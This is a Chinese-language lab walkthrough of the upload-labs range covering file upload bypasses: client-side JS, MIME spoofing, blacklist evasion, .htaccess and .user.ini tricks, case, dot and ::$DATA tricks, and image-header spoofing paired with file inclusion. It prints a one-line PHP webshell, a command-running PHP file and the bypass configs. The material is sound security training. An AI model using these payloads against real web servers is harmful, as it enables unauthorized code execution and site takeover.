第四篇文件上传漏洞

1 基础概念

文件上传漏洞主要指的是，在进行文件上传时，前端和后端都没进行文件校验，导致黑客可以上传任务文件，包括可执行脚本，从而获得网站权限

1.1 常见文件上传验证

后缀名，黑白名单
文件类型，可以通过Content-Type来获取
文件头检测

常见文件头信息：

JPEG (jpg)，文件头：FFD8FF
PNG (png)，文件头：89504E47
GIF (gif)，文件头：47494638

1.2 文件上传绕过

分析校验是否前后端有，还是只有其中一端有，可以通过前端代码、Burp suite抓包来进行分析

只有客户端校验

修改js函数、禁止执行js函数、

服务端校验

主要通过获取文件信息，进行黑白名单过滤，比如后缀名是否符合要求

2 靶场练习

靶场地址：https://github.com/c0ny1/upload-labs/

使用的docker镜像：docker pull monstertsl/upload-labs，没有使用作者的镜像，在练习的时候遇到了一些bug，后来发现这个镜像比较稳定

2.1 JS绕过

源码

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传，请上传" + allow_ext + "类型的文件,当前文件类型为：" + ext_name;
        alert(errMsg);
        return false;
    }
}

js代码是获取文件后缀名，判断后缀是否符合上传要求，在上传upload1.php文件时，提示：

upload1.php 代码内容

<?php
    $shell = "ls -la";
    exec($shell, $result);
    print_r( $result );
?>

通过禁用js，再次上传，修改：chrome -> 审查元素 -> settings -> Debugger

发现上传成功，直接访问文件如下：

2.2 MIME绕过

源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '文件类型不正确，请重新上传！';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建！';
    }
}

源码通过获取上传文件的type，来判断是否满足指定的上传类型，这个时候就需要修改Content-type，使其绕过校验，通过BurpSuite抓包，发现上传的upload1.php的Content-type是：text/php

尝试修改后缀名，为png

发现文件上传成功了，所以我们可以将Content-type改为可允许上传的文件类型

打开文件：http://www.uploadlabs.com:8081/upload/upload1.php

2.3 黑名单绕过

源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

源码校验是通过获取文件file_name的后缀名，看是否满足文件类型的要求，尝试直接上传upload1.php

抓包对文件名进行修改，利用版本兼容性，比如改为.phtml .php5 .php6等来绕过，打开文件：http://www.uploadlabs.com:8081/upload/202201161129425897.php5 ，发现文件成功上传了，但是并没执行需求的命令，如

网上有参考教程的，比如

一种办法是修改Apache的 httpd.conf使其支持解析

AddType application/x-httpd-php .php .phtml .php5 .php6

这种就需要获取到服务器更高级的执行权限

上传 .htaccess 伪静态文件


  SetHandler application/x-httpd-php

伪静态需要保证：①mod_rewrite模块开启；②目录设置是AllowOverride All；但是本例上传完文件后，重新对文件进行重命名，所以该方案无效

暂无思路执行php程序

2.4 .htaccess绕过

源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

源码中过滤了很多文件后缀名，但是没有过滤htaccess，而且上传之后的文件也没有进行重名了，可以使用htaccess来实现绕过

.htaccess源码


  SetHandler application/x-httpd-php

表示文件名包含php都当成php执行

访问文件：http://www.uploadlabs.com:8081/upload/upload4_php.jpg

2.5 .user.ini绕过

源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

黑名单中新增了.htaccess，但是文件并没有过滤.user.ini，可以通过构建.user.ini文件来实现绕过

.user.ini源码

auto_append_file=upload5.php.jpg

格式为 xxx.php.允许的文件类型，否则文件即使绕过，也不能正常执行

打开文件：http://www.uploadlabs.com:8081/upload/upload5.php.jpg

2.6 大小写绕过

源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

在文件过滤上同时加上了.htaccess 和 .ini，也加了常见的文件后缀名，但是没有没有对文件后缀进一步大小写转化，所以可以通修改大小写来实现

打开文件：http://www.uploadlabs.com:8081/upload/202201160915055059.pHP

2.7 空格绕过

源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

从过滤规则来看，进行了后缀名大小写转换，黑名单全，去除字符串::$DATA，尝试加空格的方式上传

文件上传成功，由于加了空格，访问的时候需要对url进行空格编码，示例：http://www.uploadlabs.com:8081/upload/202201160922554225.php

2.8 通过 . 实现绕过

源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

通过代码，发现对文件名末尾的.没有进行过滤，通过增加.绕过

打开文件，正常访问：http://www.uploadlabs.com:8081/upload/upload8.php.

2.9 ::$DATA 绕过

源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

通过源码，发现将::$DATA校验移除了，上传抓包进行修改

访问文件：http://www.uploadlabs.com:8081/upload/202201160944513839.php::$data

2.10 点空格点绕过

源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

在校验规则上，文件后缀进行去点处理，尝试点空格点，看看能否绕过

发现上传成功了，而且也可以正常访问：http://www.uploadlabs.com:8081/upload/upload10.php. ，需要空格转码

2.11 双写后缀名绕过，使程序正常执行

源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

源码与之前的不同就是对后缀名进行了替换，上传成功后返回的文件名如下：

进行访问的时候，php程序没有执行：http://www.uploadlabs.com:8081/upload/upload11.

分析str_ireplace函数，替换的时候大小写不敏感，所以绕过思路不能采用大小写的方式，该函数替换只执行一次，尝试双写：pphphp，后缀的方式，实现绕过

成功的正常执行：http://www.uploadlabs.com:8081/upload/upload11.php

2.12 白名单校验，%00截断绕过

源码

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错！';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件！";
    }
}

从源码来看，是进行了白名单过滤，上传文件后返回的文件名

由于docker镜像使用php版本为：5.5.38，没有办法实现%00截断，%00截断的条件是：

1.  php版本小于5.3.4
2.  php.ini的magic_quotes_gpc为OFF状态

2.13 文件包含

源码

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知，上传失败！";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错！";
        }
    }
}

读取文件字节来判断文件类型，使用一句话木马，代码如下

<?php @assert($_POST[shell]);?>

使用的二进制编辑器：010 Editor

点击文件包含漏洞，进入页面

对文件进行拼接：http://www.uploadlabs.com:8081/include.php?file=./upload/9420220118154305.jpg

直接使用浏览器打开链接

然后使用蚁剑来打开，记得编辑器使用的base64

进入之后就可以看到所有的文件了

使用蚁剑打开：http://www.uploadlabs.com:8081/include.php?file=./upload/3620220118161011.gif

使用蚁剑打开：http://www.uploadlabs.com:8081/include.php?file=./upload/9720220118161518.png

3 结论

网上也有很多关于upload-labs靶场的教程，我也只是简单从文件上传可能存在漏洞做了一些梳理，如果对于有文件上传的网站，可以从这些角度，配合burp进行抓包重放，找到尽可能多的漏洞

网络安全基础

第四篇文件上传漏洞

1 基础概念

1.1 常见文件上传验证

1.2 文件上传绕过

2 靶场练习

2.1 JS绕过

2.2 MIME绕过

2.3 黑名单绕过

2.4 .htaccess绕过

2.5 .user.ini绕过

2.6 大小写绕过

2.7 空格绕过

2.8 通过 . 实现绕过

2.9 ::$DATA 绕过

2.10 点空格点绕过

2.11 双写后缀名绕过，使程序正常执行

2.12 白名单校验，%00截断绕过

2.13 文件包含

3 结论

相关

网络安全基础

标签

第四篇 文件上传漏洞

1 基础概念

1.1 常见文件上传验证

1.2 文件上传绕过

2 靶场练习

2.1 JS绕过

2.2 MIME绕过

2.3 黑名单绕过

2.4 .htaccess绕过

2.5 .user.ini绕过

2.6 大小写绕过

2.7 空格绕过

2.8 通过 . 实现绕过

2.9 ::$DATA 绕过

2.10 点空格点绕过

2.11 双写后缀名绕过，使程序正常执行

2.12 白名单校验，%00截断绕过

2.13 文件包含

3 结论

相关

网络安全基础

标签

第四篇文件上传漏洞